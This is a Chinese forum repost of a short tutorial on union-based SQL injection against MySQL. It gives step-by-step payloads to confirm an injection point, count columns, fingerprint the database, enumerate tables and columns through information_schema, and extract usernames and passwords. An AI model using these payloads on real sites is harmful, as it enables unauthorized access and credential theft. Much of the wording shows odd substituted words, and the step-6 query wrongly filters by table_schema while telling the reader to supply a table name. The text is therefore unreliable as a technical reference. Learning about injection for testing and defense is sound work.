自由的羽毛 发表于 5 小时前

web安全之扼要sql注入

https://i-blog.csdnimg.cn/direct/c8a26bea7823492c891aa5a157fd8b7c.png
SQL注入原理:可控变量,带入数据库查询,变量中未存在过滤大概过滤不严谨

怎样判定注入点?(以下数据库类型为mysql)

老办法:
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
但是要选用最舒服的方法去测试!
讲一下老方法的原理
select * from users where id=1 and 1=1,正常
select * from users where id=1 and 1=2,错误
前面都是精确的语句,区别在于后面。
如果是1=1,那么就是真且真,结果为真
如果是1=2,那么就是真且假,结果为假
就是说你所自界说的1=1大概1=2,被网站正常执行到了,所以就存在注入点
那么我们就可以自界说一些sql语句,获取数据库的数据,写sql语句可以用到连合查询UNION这个关键字
操作流程如下:
1.判定注入

2.推测列名数目(字段数),一样平常用order by去猜

        select * from users where id=1 order by (1~n),直到页面不正常即为字段数,比如4正常,5不正常,则字段数为4。
 3.猜解准备

         select * from users where id=-1 union select 1,2,3,4,正常
        注意:id=-1,让前面的语句为错误语句,即可只执行后面的语句,这样的作用是看下哪几列数据可以显示出来,然后将能显示的替换成注入语句即可
4.信息收集

数据库版本:version()
数据库名称:database()
数据库用户:user()
操作体系:@@version_compile_o s
比如说正常显示2和3,那就可以写
 select * from users where id=-1 union select 1,database(),version(),4
5.查询指定数据库名下的表名信息

如果是mysql5.0以上,则存在information_schema,此中存储全部数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
 information_schema.tables:记录全部表名信息的表
information_schema.columns:记录全部列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
举例:select * from users where id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='这里写数据库名称'
group_concat()是把多行结果并作一行显示 
6.查询指定表名下的列名信息

select * from users where id=-1 union select 1,column_name,3,4 from information_schema.columns where table_schema='这里写表名'
7.查询指定数据

 select * from users where id=-1 union select 1,name,password,4 from 表名


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: web安全之扼要sql注入